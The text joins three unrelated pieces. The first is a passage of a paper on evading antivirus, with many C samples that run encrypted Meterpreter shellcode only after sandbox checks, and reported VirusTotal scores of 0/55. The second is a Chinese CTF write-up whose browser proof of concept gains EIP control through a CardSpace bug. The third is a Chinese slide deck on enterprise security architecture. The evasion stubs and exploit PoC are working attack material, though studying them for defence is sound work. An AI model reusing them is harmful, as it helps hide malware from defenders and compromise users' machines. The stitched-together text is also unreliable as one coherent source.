positives. An example: The CallNextHookEx function (see MSDN at http://msdn.microsoft.com/en- us/library/windows/desktop/ms644974%28v=vs.85%29.aspx ) is generally used by userland keyloggers. Some Antivirus will detect the usage of this function to be a threat and will issue a heuristic warning about the software if the function name is detected in Data segment of the executable. Another example, a code opening “explorer.exe” process and attempting to write into its virtual memory is considered to be malicious. The easiest way to bypass Heuristic analysis is to ensure that all the malicious code is hidden. Code encryption is the most common method used for that. If before the decryption the binary does not raise any alert and if the decryption stub doesn't play any usual malicious action, the malware will not be detected. 4 I wrote an example of such code based on the Bill Blunden RootkitArsenel book. This code is available at http://www.sevagas.com/?Code-segment-encryption and here another link to make Meterpreter executable invisible to AVs (at http://www.sevagas.com/?Hide-meterpreter-shellcode-in ). 3.3. Dynamic analysis These days most AV will rely on a dynamic approach. When an executable is scanned, it is launched in a virtual environment for a short amount of time. Combining this with signature verification and heuristic analysis allows detecting unknown malwares even those relying on encryption. Indeed, the code is self- decrypted in AV sandbox; then, analysis of the “new code” can trigger some suspicious behavior. If one uses encryption/decryption stub to hide a malicious, most AV will be able to detect it provided they can bypass the decryption phase! This means that bypassing dynamic analysis implies two things:  Having an undetectable self-decryption mechanism (as for heuristics)  Prevent the AV to execute the decryption stub I found out there are plenty of easy ways to fool the AV into not executing the decryption stub. 3.4. Antivirus limitations In fact Dynamic Analysis is complex stuff, being able to scan these millions of files, running them in emulated environment, checking all signatures… It also has limitations. The dynamic analysis model has 3 main limitations which can be exploited:  Scans has to be very fast so there is a limit to the number of operations it can run for each scan  The environment is emulated so not aware of the specificity of the machine and malware environment  The emulated/sandbox environment has some specificity which can be detected by the malware 5 4. The test conditions 4.1. Local environment I’ve built the sources and tested the code on Virtual machines running Windows Vista and 7 with local (free versions) of AV installed. 4.2. VirusTotal VirusTotal ( https://www.virustotal.com) is the current reference for online scanning against multiple AV. It aims to provide to everyone possibility to verify a suspicious file. It is linked to more than 50 AV scanners including all major actors. VirusTotal is also an interesting possibility to check AV bypassing techniques. Note: VirusTotal should not be used to compare between AV because they have different versions and configurations. Also the AV services called by VirusTotal may be different from the ones installed on a PC or from more complete costly versions. You can read the warnings about VirusTotal does and don’t at this page https://www.virustotal.com/en/faq/ ). You may ask “It is well known that if you want a non detected malware to stay FUD you never send it to VirusTotal. Why would you do that?” Well first, I don’t care; in fact there are so many methods to bypass AV that even if those were corrected, others are still available if I need it for pentests. Secondly, some of the methods described below are so simple and powerful it is too difficult to build a signature from it. Also they rely on AV limitations that would be too costly to modify. So I am pretty confident methods will still work months or years after the sample were submitted. Third I consider these methods are well known to malware writers and should be shared with the community as well as AV vendors. 6 4.3. Encrypted malware For my test I applied the method described in §3.3. I needed a code which would normally be considered to be a malware. The easiest way to do that is to use the well known Meterpreter payload from the Metasploit framework (http://www.metasploit.com/). I create a C code calling non encoded Meterpreter shellcode as described in http://www.sevagas.com/?Hide-meterpreter-shellcode-in . I encrypted the code in such a way that any AV static analysis fails (including analysis of the decryption stub). Here is a copy of the main function: /* main entry */ int main( void ) { decryptCodeSection(); // Decrypt the code startShellCode(); // Call the Meterpreter shellcode in decrypted code return 0; } This version of the code is detected by local AV scans and has a VirusTotal score of: 12/55 This shows that nowadays AV relies more and more on dynamic analysis but it is not yet the case for the majority of them. From that result, my goal was to find methods to abuse the AV and to drop that detection rate to Zero (Note that I also had AV locally installed which needed to be bypassed as a condition to appear in this paper). 7 5. Complex methods. These are complex ways used to bypass antivirus, these methods are well documented, it is important to know them but it is not really the subject of this article (simple bypass of AV). These complex methods are usually used by modern malware and not only to avoid AV detection. Both complex methods here imply running the code in an unusual matter. 5.1. The code injection method Code injection consists into running a code inside the memory of another process. This is done generally using DLL injection but other possibilities exist and it is even possible to inject entire exe (as described in http://www.sevagas.com/?PE-injection-explained ). The complexity of the process resides in the fact that the injected code must find a way to execute itself without being loaded normally by the system (especially since the base address is not the same). For DLL injection, this is done when the DLL is loaded. For code injection, the code must be able to modify its memory pointers based on the relocation section. Also being able to reconstruct IAT can be important as well. DLL injection and code injection are already well described on the Internet. These methods are complex to implement so describing them more is outside of this document’s scope. Just keep in mind that if code injection is a good way for a malware to be stealthy it is also a lot of code some of which may be recognized by heuristic analysis. I think this is why code injection is generally not used to bypass AV, it is rather used after that phase to bring stealth and also privileges (for example a code injected in a browser will have the same firewall permissions as the browser). 5.2. The RunPE method The “RunPE” term refers to a method consisting into running some code in a different process by replacing the process code by the code you want to run. The difference with code injection is that in code injection you execute code in distant process allocated memory; in RunPE you replace the distant process code by the one you want to execute. Here is a short example of how it could work to hide a malware. Imagine the malware is packed / crypted and inserted in another binary dedicated to load it (using for example linked resources). When the loader is started, it will:  Open a valid system process (like cmd.exe or calc.exe) in suspended state using CreateProcess  Unmap the memory of the process (using NtUnmapViewOfSection)  Replace it with the malware code (using WriteProcessMemory)  Once the process is resumed (using ResumeThread), the malware executes instead of the process. 8 Note: Replacing a process memory is no more possible when process is protected by DEP (Data Execution Prevention, see http://windows.microsoft.com/en-gb/windows-vista/what-is-data-execution- prevention). In this case however, instead of uring RunPE on another process, the loader can just call another instance of itself and run the malware into it. Since the modified code is the one written by the attacker, the method will always work (provided the loader is compiled without DEP). The RunPE method combined with customizable decryption stubs is often used by self claimed “FUD cryptor” that are available on the malware market. As for code injection method, giving full example code for this case is not the objective of this paper. 9 6. Simple yet effective methods Now that we passed some of the complex methods, let’s go through all the simple methods including code samples I tested. I also display the detection results on VirusTotal website for each example. 6.1. The “Offer you have to refuse” method The main limit with AV scanner is the amount of time they can spend on each file. During a regular system scan, AV will have to analyze thousands of files. It just cannot spend too much time or power on a peculiar one (it could also lead to a form of Denial Of Service attack on the AV). The simplest method to bypass AV just consists into buying enough time before the code is decrypted. A simple Sleep won’t do the trick, AV emulator have adapted to that. There are however plenty of methods to gain time. This is called “Offer you have to refuse” because it imposes the AV to go through some code which consume too much resources thus we are sure the AV will abandon before the real code is started. Example 1: Allocate and fill 100M memory In this first example, we just allocate and fill 100 Mega Bytes of memory. This is enough to discourage any emulation AV out there. Note: In the code below, most AV will just stop during the malloc, the condition verification on allocated pointer is not even needed. #define TOO_MUCH_MEM 100000000 int main() { char * memdmp = NULL; memdmp = (char *) malloc(TOO_MUCH_MEM); if(memdmp!=NULL) { memset(memdmp,00, TOO_MUCH_MEM); free(memdmp); decryptCodeSection(); startShellCode(); } return 0; } VirusTotal score: 0/55 See how easy it is to reduce AV detection? Also this method relies on classic and very common malloc function and does not need any strings which could be used to build signature. The only drawback is the 100M Byte memory burst which could be detected by fine system monitoring. 10 Note: If you do not run the memset part the detection rate is 4/55. It used to be Zero two months ago when I started my test but I guess AV vendors adapted :-). Example 2: Hundred million increments An even easier method, which does not leave any system trace, consists into doing a basic operation for a sufficient number of time. In this case we use a for loop to increment one hundred millions of times a counter. This is enough to bypass AV, but it is nothing for a modern CPU. A human being will not detect any difference when starting the code with or without this stub. #define MAX_OP 100000000 int main() { int cpt = 0; int i = 0; for(i =0; i < MAX_OP; i ++) { cpt++; } if(cpt == MAX_OP) { decryptCodeSection(); startShellCode(); } return 0; } VirusTotal score: 0/55 FUD method again. The “offer you have to refuse” is a powerful way to bypass AV emulation engines. 11 6.2. The “I shouldn’t be able to do that!” method The concept here is that since the context is launched in an emulated system, there might be mistakes and the code is probably no running under its normal privileges. Generally, the code will run with almost all privileges on the system. This can be used to guess the code is being analyzed. Example 1: Attempt to open a system process This code just attempts to open process number 4 which is generally a system process, with all rights. If the code is not run with system MIC and Session 0, this should fail (OpenProcess returns 00). On the VirusTotal score you can see this is no FUD method but bypasses some AV which are vulnerable to this specific problem. int main() { HANDLE file; HANDLE proc; proc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, 4 ); if (proc == NULL) { decryptCodeSection(); startShellCode(); } return 0; } VirusTotal score: 11/55 However not the same AV as in §4.3, in fact only a couple detect the meterpreter part. All the other trigger the OpenProcess code as a malicious backdoor (static heuristic analysis). The point here is to show emulated environment does not behave the same as normal (malicious code are emulated with high privilege in AV). This could be adapted without triggering heuristic detection for example if malicious code is supposed to start without admin privileges. Example 2: Attempt to open a non-existing URL A method which is often use to get code self awareness of being into a sandbox is to download a specific file on the Internet and compare its hash with a hash the code knows. Why does it work? Because 12 sandboxes environment do not give potential malicious code any access to the Internet. When a sandboxed codes opens an Internet page, the sandbox will just send its own self generated file. Thus, the code can compare this file with the one it expects. This method has a few problems, first it will never work if you do not have Internet access. Second, if the downloaded file changes or is removed, the code will not work either. Another method which does not have these problems is to do the opposite! Attempt to access Web domains which does not exist. In the real world, it fails. In an AV, it will work since the AV will use its own simulated page. #include <Wininet.h> #pragma comment(lib, "Wininet.lib") int main() { char cononstart[] = "http://www.notdetectedmaliciouscode.com//"; //Invalid URL char readbuf[1024]; HINTERNET httpopen, openurl; DWORD read; httpopen=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); openurl=InternetOpenUrl(httpopen,cononstart,NULL,NULL,INTERNET_FLAG_RELOAD|INTERNET _FLAG_NO_CACHE_WRITE,NULL); if (!openurl) // Access failed, we are not in AV { InternetCloseHandle(httpopen); InternetCloseHandle(openurl); decryptCodeSection(); startShellCode(); } else // Access successful, we are in AV and redirected to a custom webpage { InternetCloseHandle(httpopen); InternetCloseHandle(openurl); } } VirusTotal score: 2/55 Something funny here. Among the two results I have one AV which thinks my stub may be a dropper (stupid heuristic false positives...). The second one really finds the Meterpreter backdoor. And this is really weird. That means either these guys have a really smart system or they allow AV connection in the sandbox they use. I remember reading about someone who actually got a remote Meterpreter connection when uploading to VirusTotal. Maybe it was the same scanner. 13 6.3. The “Knowing your enemy” method If one knows some information on the target machine, it becomes pretty easy to bypass any AV. Just link the code decryption mechanism to some information you know on the target PC (or group of PCs). Example 1: Action which depends on local username If the username of someone on system is known, it is possible to ask for actions depending on that username. For example, we can attempt to write and read inside the user account files. In the code below we create a file on a user desktop, we write some chars in it, then only we can open the file and read the chars, we start the decryption scheme. #define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file" int main() { HANDLE file; DWORD tmp; LPCVOID buff = "1234"; char outputbuff[5]={0}; file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if(WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL)) { CloseHandle(file); file = CreateFile(FILE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, // existing file only FILE_ATTRIBUTE_NORMAL , NULL); if(ReadFile(file,outputbuff,4,&tmp,NULL)) { if(strncmp(buff,outputbuff,4)==0) { decryptCodeSection(); startShellCode(); } } CloseHandle(file); } DeleteFile(FILE_PATH); return 0; } 14 VirusTotal score: 0/55 Needless to say this one is FUD. In fact, AV scanner will generally fail to create and write into a file which is in path not foreseen. I was surprised at first because I expected AV to self adapt to the host PC, well it is not the case (I’ve tested this with several AV on the same PC, not only using VirusTotal). 6.4. The “WTF is that?” method Windows system API is so big that AV emulation system just don’t cover everything. In this section I just put two examples but a lot other exist in the meander of Windows system APIs. Example 1: What the fuck is NUMA? NUMA stands for Non Uniform Memory Access. It is a method to configure memory management in multiprocessing systems. It is linked to a whole set of functions declare in Kernel32.dll More information is available at http://msdn.microsoft.com/en- us/library/windows/desktop/aa363804%28v=vs.85%29.aspx The next code will work on a regular PC but will fail in AV emulators. int main( void ) { LPVOID mem = NULL; mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE,0); if (mem != NULL) { decryptCodeSection(); startShellCode(); } return 0; } VirusTotal score: 0/55 15 Example 2: What the fuck are FLS? FLS is Fiber Local Storage, used to manipulate data related to fibers. Fibers themselves are unit of execution running inside threads. See more information in http://msdn.microsoft.com/en- gb/library/windows/desktop/ms682661%28v=vs.85%29.aspx What is interesting here is that some AV emulators will always return FLS_OUT_OF_INDEXES for the FlsAlloc function. int main( void ) { DWORD result = FlsAlloc(NULL); if (result != FLS_OUT_OF_INDEXES) { decryptCodeSection(); startShellCode(); } return 0; } VirusTotal score: 8/55 16 6.5. The “Checking the environment” method Here again the principle is simple. If the AV relies on a Sandboxed/emulated environment, some environment checks will necessarily be different from the real infection case. There are lots of ways to do these kinds of checks. Two of those are described in this section: Example 1: Check process memory Using sysinternal tools I realized that when an AV scans a process it affects its memory. The AV will allocate memory for that, also the emulated code process API will return different values from what is expected. In this case I use the GetProcessMemoryInfo on the current process. If this current working set is bigger than 3500000 bytes I consider the code is running in an AV environment, if it is not the case, the code is decrypted and started. #include <Psapi.h> #pragma comment(lib, "Psapi.lib") int main() { PROCESS_MEMORY_COUNTERS pmc; GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc)); if(pmc.WorkingSetSize<=3500000) { decryptCodeSection(); startShellCode(); } return 0; } VirusTotal score: 1/55 Almost FUD. Also it seems the AV does not detect the Meterpreter but triggers some heuristics on the main function. The detection event seems to be linked to windows system executable patched by malware (Do not ask me why this code is thought to be a patched Window binary in this case...). 17 Example 2: Time distortion We know that Sleep function is emulated by AV. This is done in order to prevent bypassing the scan time limit with a simple call to Sleep. The question is, is there a flaw in the way Sleep is emulated? #include <time.h> #pragma comment (lib, "winmm.lib") int main() { DWORD mesure1 ; DWORD mesure2 ; mesure1 = timeGetTime(); Sleep(1000); mesure2 = timeGetTime(); if((mesure2 > (mesure1+ 1000))&&(mesure2 < (mesure1+ 1005))) { decryptCodeSection(); startShellCode(); } return 0; } VirusTotal score: 8/55 Apparently some AV fall for the trick. Example3: What is my name? Since the code is emulated it is not started in a process which has the name of the binary file. This method is described by Attila Marosi in DeepSec http://blog.deepsec.net/?p=1613 The tested binary file is “test.exe”. In the ext code we check that first argument contains name of the file. int main(int argc, char * argv[]) { if (strstr(argv[0], "test.exe") >0) { 18 decryptCodeSection(); startShellCode(); } return 0; } VirusTotal score: 0/55 The DeepSec article was written in 2013 and method is still FUD. 6.6. The “I call myself” method This is a variation of the environment check method. The AV will only trigger the code if it has been called in a certain way. Example 1: I am my own father In this example the executable (test.exe) will only enter the decryption branch if its parent process is also test.exe. When the code is launched, it will get its parent process ID and if this parent process is not test.exe, it will call test.exe and then stop. The called process will then have a parent called test.exe and will enter the decryption part. #include <TlHelp32.h> #include <Psapi.h> #pragma comment(lib, "Psapi.lib") int main() { int pid = -1; HANDLE hProcess; HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe = { 0 }; pe.dwSize = sizeof(PROCESSENTRY32); // Get current PID pid = GetCurrentProcessId(); if( Process32First(h, &pe)) { // find parent PID do { if (pe.th32ProcessID == pid) { // Now we have the parent ID, check the module name 19 // Get a handle to the process. hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe.th32ParentProcessID); // Get the process name. if (NULL != hProcess ) { HMODULE hMod; DWORD cbNeeded; TCHAR processName[MAX_PATH]; if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) ) { // If parent process is myself, decrypt the code GetModuleBaseName( hProcess, hMod, processName, sizeof(processName)/sizeof(TCHAR) ); if (strncmp(processName,"test.exe",strlen(processName))==0) { decryptCodeSection(); startShellCode(); } else { // or else call my binary in a new process startExe("test.exe"); Sleep(100); // Wait for child } } } // Release the handle to the process. CloseHandle( hProcess ); } } while( Process32Next(h, &pe)); } CloseHandle(h); return 0; } VirusTotal score: 1/55 AV are generally not able to follow this kind of process because they will scan the parent and not the child process (even if it is in fact the same code). 20 Example2: First open a mutex In this example, the code (test.exe) will only start decryption code if a certain mutex object already exists on the system. The trick is that if the object does not exist, this code will create and call a new instance of itself. The child process will try to create the mutex before the father process dies and will fall into the ERROR_ALREADY_EXIST code branch. int main() { HANDLE mutex; mutex = CreateMutex(NULL, TRUE, "muuuu"); if (GetLastError() == ERROR_ALREADY_EXISTS) { decryptCodeSection(); startShellCode(); } else { startExe("test.exe"); Sleep(100); } return 0; } VirusTotal score: 0/55 Another very simple example which renders fully undetectable code. 21 7. Conclusion To conclude these examples show it is pretty simple to bypass AV when you exploit their weaknesses. It only requires some knowledge on windows System and how AV works. However, I do not say that having AV is useless. AV is very useful detecting those millions of wild bots which are already in its database. Also AV is useful for system recovery. What I am saying is that AV can be easily fooled by new viruses, especially in the case of a targeted attack. Customized malwares are often used as part of APT and AV might probably be useless against them. This doesn’t mean that everything is lost! There are alternatives solutions to AV, system hardening, application whitelisting, Host Intrusion Prevention Systems. These solutions having their own assets and weaknesses. If I may give some humble recommendations against malwares I would say:  Never run as administrator if you don’t have to. This is a golden rule, it can avoid 99% malwares without having an AV. This has been the normal way of doing things for Linux users for years. It is in my opinion the most important security measure.  Harden the systems, recent versions of Windows have really strong security features, use them.  Invest in Network Intrusion Detection Systems and monitor your network. Often, malware infections are not detected on the victims PC but thanks to weird NIDS or firewall logs.  If you can afford it, use several AV products from different vendors. One product can cover the weakness of another, also there are possibilities that products coming from a country will be friendly to this country government malwares.  If you can afford it use other kind of security products from different vendors.  Last but not least, human training. Tools are nothing when the human can be exploited.
pdf
极棒跨次元 CTF 初赛解题报告 本队伍承诺诚信比赛,比赛期间,队伍之间不互相交流思路和 Flag。本队伍承诺题目包 中的所有内容仅用于信息安全学习,不用于任何其它恶意用途。本报告均由本队伍独立完成。 队伍: Nu1L 提示:题目名称后面的数字为本题总分数,详细评分规则请见题目包内部 ReadMe。题 目不分先后顺序。 SignIn-10 Flag:flag{Geekpwn2016} 直接修改高度 Only a JPG-150 Flag:flag{fight_on_the_stage} 解题步骤: 提取 MP4 文件 SecretCode-150 Flag: 解题步骤: 这题用 ollvm 混淆了下,写了段代码直接爆破,从-2147483648 到 2147483647 都爆了一遍还 是没发现答案,由于是 double 型,可能有小数部分或者数字特别大,范围太大爆不下去了。。 混淆后代码太恶心,就没有继续看了。 撕裂的藏宝图-150 Flag:flag{g1ve_Me_Five!!} 解题步骤: 题目描述: 发现藏宝图,找到秘密。 入口:http://map.geekpwn.org/entry.html 打开目标 URL 后发现都是不断跳转的站内连接。直接 #wget –m http://map.geekpwn.org/entry.html 有两张图片 http://map.geekpwn.org/map2_ghasdfhjlsadvbjsbfjjasd.bmp http://map.geekpwn.org/map1_asdjduhfuasjkdhakjsdhkja.bmp 都是一样的乱,直觉直接用神器 StegoSolve XOR 两张图片。 都是 IPC 惹的祸-150 解题步骤: 消失的 Flag-250 Flag: 解题步骤: 逆向发现是个 kms 激活程序。自带激活码{0ff1ce15-a989-479d-af46-f275c6370663},也可以 自行输入一个激活码。然而并不知道题目的具体意图。 Hollyhigh Image-350 Flag: 解题步骤: 1、 随便上传一些图片,发现都被禁,有一些是超过最大上传大小。有一些返回 nonono 一 开始摸不着头脑,所以就随手弄了些更小的图片试试。 2、 尝试成功跳转到了 emage.geekpwn.org/showpic.html# 3、 太辣眼睛了 background image,看源码觉得 loadfile.php 很明显一个读文件的功能。 4、 一开始不知道因为啥一直有问题,之后题目变了,给了 loadfile1.php 是 loadfile.php 的源 码,成功用 loadfile.php 读出了 upload.php 的源码。 <?php $uploaddir = '/tmp/ctf/'; $uploadfile = $uploaddir. 'f_' .md5(basename($_FILES['userfile']['name'])); if ($_FILES['userfile']['size'] > 4096) { die('nonono'); } if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { var_dump($_FILES['userfile']); $command = "/tmp/ctf/g33kpwchen " . $uploadfile; echo $command . "\n"; exec($command, $res); $width = $res[0]; $height = $res[1]; $filename = $res[2]; $url = "/showpic.html#".substr($filename, 21); header("HTTP/1.1 301 Moved Permanently"); header ("Location: " . $url); } else { echo "fail"; } ?> 文件名是上传文件名作一次 md5 哈希,感觉没什么搞点,看了源码之后就确定了。 是构造文件内容。逆向 g33kpwchen。有 tips 发现是开启了 ASLR。 逆向部份: 构造 P3 开头的文件。 HugMe-300 Flag:flag{e01eeed093cb22bb} 解题步骤: 一个加了壳的swf(后来知道是doswf的壳) 先preload挂个TheMiner,然后看loader的内容,脱去第一层壳。 反编译取出的swf,发现一个坑 显示出来的hugme啥用都没有。。。需要点击的那个hugme又没被正确加载。。需要自己做 修改 然后才能看见真正的按钮 接着关键的判断逻辑。 然而Verify运行时才载入。。 于是再次脱壳。。。TheMiner没hook loadBytes,所以这里只能自己来 提取出这个函数运行然后把uncompress的结果base64一下,trace打出来。 然后再用python保存成文件。(不会actionscript的文件读写只好这么搞) 然后反编译保存下来的文件,发现校验过程其实就是个方程组 method3没用。。只要符合method2里的方程组,method3一定符合。 然后就是求解方程组得到一组解[14,0,1,14,14,14,13,0,9,3,12,11,2,2,11] 对应的flag e01eeed093cb22b 然而这才15位 。。根据readme的提示,枚举最后一位。。发现e01eeed093cb22bb是hello world 的md5 故 flag 为 e01eeed093cb22bb matryoshka-300 Flag: 解题步骤: patch so文件绕过反调试、签名校验,动态跟踪了下发现该函数: this.a.stringFronJNI(this.a.getBaseContext(),"matryoshka") 返回固定值"matryoshka",接下来对该字符串进行 reverse 等变换后进入 b.a,该函数实 现了 DES 加密(解密),第一个参数是输入,第二个参数是固定密钥。 不知道最后的 flag 是什么形式,没有找到提示。。感觉爆破的话范围太大,脑洞不够。。。 Rivest Shamir Adleman-400 解题步骤: XSS Book-400 Flag: 解题步骤: 被捕获的 0day-600 解题步骤: 一:漏洞分析 搭建环境,WinDbg attach,触发漏洞。 栈回溯 三个题目中对应的 dll 根据 POC,主要关注 CCardSpaceClaimCollection::add 和 CCardSpaceClaimCollection::remove 首先看 remove 这个函数: 结合 WinDbg 在 CCardSpaceClaimCollection::remove+0x128 处,IDA 查看反汇编代码。 IDA 反汇编代码结合 WinDbg 在此处下断点并动态调试,发现 remov 传入参数为 0 时会造成 溢出修改一块存储长度的内存。 再看 add 函数: 函数中有一个数组的检查: 也能从后面的代码中查看到调用它对数组进行调整: 在调整前,add 函数会先存储一下 ppvData 的指针于一个局部变量: 之后会有一个用户可控的字符串传入同时指向该字符串的指针存入 ppvData,但此时存储长 度的内存已经被覆盖,所以也就不需要再通过 SafeArray 进行调整。 之后可以通过构造不同输入,进行漏洞利用。 控制 eip poc: <html> <body> <object classid='clsid:19916E01-B44E-4E31-94A4-4696DF46157B' id='ICARD'></object> <script> var b = ICARD.RequiredClaims; b.add("A"); b.remove(0); b.remove(0); b.remove(0); b.add("ccccccccccccccccccccccccccccccccccccccccccccccccccccc cccccccccccccccccccc"); b.remove(0xffffffff); </script> </body> </html>
pdf
企业安全架构概述 An Introduction of Enterprise Security Architecture 北海之帝为忽,南海之帝为倏,中央 之帝为混沌。忽与倏时相与遇于混沌之地, 混沌待之甚善。忽与倏谋报混沌之德,曰: “人皆有七窍,以视听食息,此独无有,尝 试凿之。”日凿一窍,七日而混沌死。 -- 庄子.应帝王 一些问题 什么是企业安全架构 几种常见模型 企业安全架构实践 企业安全建设中的一些问题 • 如何保证与战略和业务一致性 • 如何体现价值交付 • 如何评估投入产出 • 大系统的复杂度 • 一处失效,全盘皆输? • 如何避免重复投入 • 管理和技术脱节? • 技术应用和运维失效 系统论与系统工程 *SYSTEM APPROACH AND SYSTEM ENGINEERING 万事万物皆为系统 系统的定义:由若干要素以一定结构形式联结构 成的具有某种功能的有机整体。在这个定义中包 括了系统、要素、结构、功能四个概念。 整体性,结构性,关联性,动态平衡性,时序性 系统工程:通过系统解析的方法,分析要素与要 素、要素与系统、系统与环境三方面的关系,优 化解决问题。 组织战略(Why) 方针策略(What) 组织架构(Who) 标准指南(How) 战略 方针策略 组织架构、岗位职责 基线标准、操作手册、维护流程 控制活动、运行记录 控制措施(When,Where) 企业架构、管理体系、与企业安全架构 *EA, ISMS AND ESA 企业架构 (Enterprise Architecture) : 企业架构是构成组织的所有关键元素和关系的综合描述。企业架构框架(EAF)是一个描述企业架 构方法的蓝图,一种通过系统工程,综合全面的解析企业要素和关系,并改善问题的实践性方法。 分层结构: 企业业务架构(EBA,Enterprise Business Architecture):组织结构、岗位职能和业务流程 企业信息架构(EIA,Enterprise Information Architecture):数据结构和关系 企业应用架构(EAA,Enterprise Application Architecture):应用系统 企业技术架构(ETA,Enterprise Technical Architecture ):基础设施 • ZAF: Zachman Framework • TOGAF: The Open Group Architecture Framework • FEAF: The Federal Enterprise Architecture Framework • DoDAF: The Department of Defense Architecture Framework *范例:ZACHMAN FRAMEWORK Based on work by John A. Zachman VA Enterprise Architecture DATA What FUNCTION How NETWORK Where PEOPLE Who TIME When MOTIVATION Why DATA What FUNCTION How NETWORK Where PEOPLE Who TIME When MOTIVATION Why SCOPE (CONTEXTUAL) Planner ENTERPRISE MODEL (CONCEPTUAL) Owner SYSTEM MODEL (LOGICAL) Designer TECHNOLOGY MODEL (PHYSICAL) Builder DETAILED REPRESENTATIONS (OUT-OF-CONTEXT) Sub-Contractor FUNCTIONING ENTERPRISE SCOPE (CONTEXTUAL) Planner ENTERPRISE MODEL (CONCEPTUAL) Owner SYSTEM MODEL (LOGICAL) Designer TECHNOLOGY MODEL (PHYSICAL) Builder DETAILED REPRESENTATIONS (OUT-OF-CONTEXT) Sub-Contractor FUNCTIONING ENTERPRISE Things Important to the Business Entity = Class of Business Thing Processes Performed Function = Class of Business Process Semantic Model Ent = Business Entity Rel = Business Relationship Business Process Model Proc = Business Process I/O = Business Resources Business Logistics System Node = Business Location Link = Business Linkage Work Flow Model People = Organization Unit Work = Work Product Master Schedule Time = Business Event Cycle = Business Cycle Business Plan End = Business Objectiv e Means = Business Strategy Important Organizations People = Major Organizations Business locations Node = Major Business Locations Events Significant to the Business Time = Major Business Event Business Goals and Strategy Ends/Means = Major Business Goals Logical Data Model Ent = Data Entity Rel = Data Relationship Application Architecture Proc = Application Function I/O = User Views Distributed System Architecture Node = IS Function Link = Line Characteristics Human Interface Architecture People = Role Work = Deliv erable Processing Structure Time = System Event Cycle = Processing Cycle Business Rule Model End = Structural Assertion Means = Action Assertion Physical Data Model Ent = Segment/Table Rel = Pointer/Key System Design Proc = Computer Function I/O = Data Elements/Sets Technology Architecture Node = Hardware/Softw are Link = Line Specifications Presentation Architecture People = User Work = Screen Format Control Structure Time = Execute Cycle = Component Cycle Rule Design End = Condition Means = Action Data Definition Ent = Field Rel = Address Program Proc = Language Statement I/O = Control Block Netw ork Architecture Node = Addresses Link = Protocols Security Architecture People = Identity Work = Job Timing Definition Time = Interrupt Cycle = Machine Cycle Rule Design End = Sub-Condition Means = Step Data Ent = Rel = Function Proc = I/O = Netw ork Node = Link = Organization People = Work = Schedule Time = Cycle = Strategy End = Means = Based on work by John A. Zachman VA Enterprise Architecture DATA What FUNCTION How NETWORK Where PEOPLE Who TIME When MOTIVATION Why DATA What FUNCTION How NETWORK Where PEOPLE Who TIME When MOTIVATION Why SCOPE (CONTEXTUAL) Planner ENTERPRISE MODEL (CONCEPTUAL) Owner SYSTEM MODEL (LOGICAL) Designer TECHNOLOGY MODEL (PHYSICAL) Builder DETAILED REPRESENTATIONS (OUT-OF-CONTEXT) Sub-Contractor FUNCTIONING ENTERPRISE SCOPE (CONTEXTUAL) Planner ENTERPRISE MODEL (CONCEPTUAL) Owner SYSTEM MODEL (LOGICAL) Designer TECHNOLOGY MODEL (PHYSICAL) Builder DETAILED REPRESENTATIONS (OUT-OF-CONTEXT) Sub-Contractor FUNCTIONING ENTERPRISE Things Important to the Business Entity = Class of Business Thing Processes Performed Function = Class of Business Process Semantic Model Ent = Business Entity Rel = Business Relationship Business Process Model Proc = Business Process I/O = Business Resources Business Logistics System Node = Business Location Link = Business Linkage Work Flow Model People = Organization Unit Work = Work Product Master Schedule Time = Business Event Cycle = Business Cycle Business Plan End = Business Objectiv e Means = Business Strategy Important Organizations People = Major Organizations Business locations Node = Major Business Locations Events Significant to the Business Time = Major Business Event Business Goals and Strategy Ends/Means = Major Business Goals Logical Data Model Ent = Data Entity Rel = Data Relationship Application Architecture Proc = Application Function I/O = User Views Distributed System Architecture Node = IS Function Link = Line Characteristics Human Interface Architecture People = Role Work = Deliv erable Processing Structure Time = System Event Cycle = Processing Cycle Business Rule Model End = Structural Assertion Means = Action Assertion Physical Data Model Ent = Segment/Table Rel = Pointer/Key System Design Proc = Computer Function I/O = Data Elements/Sets Technology Architecture Node = Hardware/Softw are Link = Line Specifications Presentation Architecture People = User Work = Screen Format Control Structure Time = Execute Cycle = Component Cycle Rule Design End = Condition Means = Action Data Definition Ent = Field Rel = Address Program Proc = Language Statement I/O = Control Block Netw ork Architecture Node = Addresses Link = Protocols Security Architecture People = Identity Work = Job Timing Definition Time = Interrupt Cycle = Machine Cycle Rule Design End = Sub-Condition Means = Step Data Ent = Rel = Function Proc = I/O = Netw ork Node = Link = Organization People = Work = Schedule Time = Cycle = Strategy End = Means = ZACHMAN FRAMEWORK: 多层次视角 8 • External Requirements and Drivers • Business Function Modeling • Motivation/Why Business goals, objectives and performance measures related to each function n Function/How High-level business functions n Data/What High-level data classes related to each function n People/Who Stakeholders related to each function n Network/Where locations related to each function n Time/When Cycles and events related to each function 1 Contextual Conceptual Logical Physical As Built Functioning Contextual Conceptual Logical Physical As Built Functioning Why Why Who Who When When Where Where What What How How 企业架构、管理体系、与企业安全架构 EA, ISMS AND ESA 信息安全管理体系 (Information Security Management System) : 信息安全管理体系是组织在整体或特定范围内建立信息安全方针和目标,以及完 成这些目标所用方法的体系,表示成方针、策略、目标、方法、过程、记录等要 素的集合。 • ISO 27001:2014 信息安全管理体系 • ISO 22301:2012 业务连续性管理体系 • ISO 31000:2009 风险管理体系 • COBIT v5 信息系统和技术控制目标 • GB17859-1999 信息系统安全等级保护体系 *范例:ISO 27001架构体系 企业安全架构ESA 企业安全架构 (Enterprise Security Architecture) Enterprise information security architecture (EISA) is the practice of applying a comprehensive and rigorous method for describing a current and/or future structure and behavior for an organization‘s security processes, information security systems, personnel and organizational 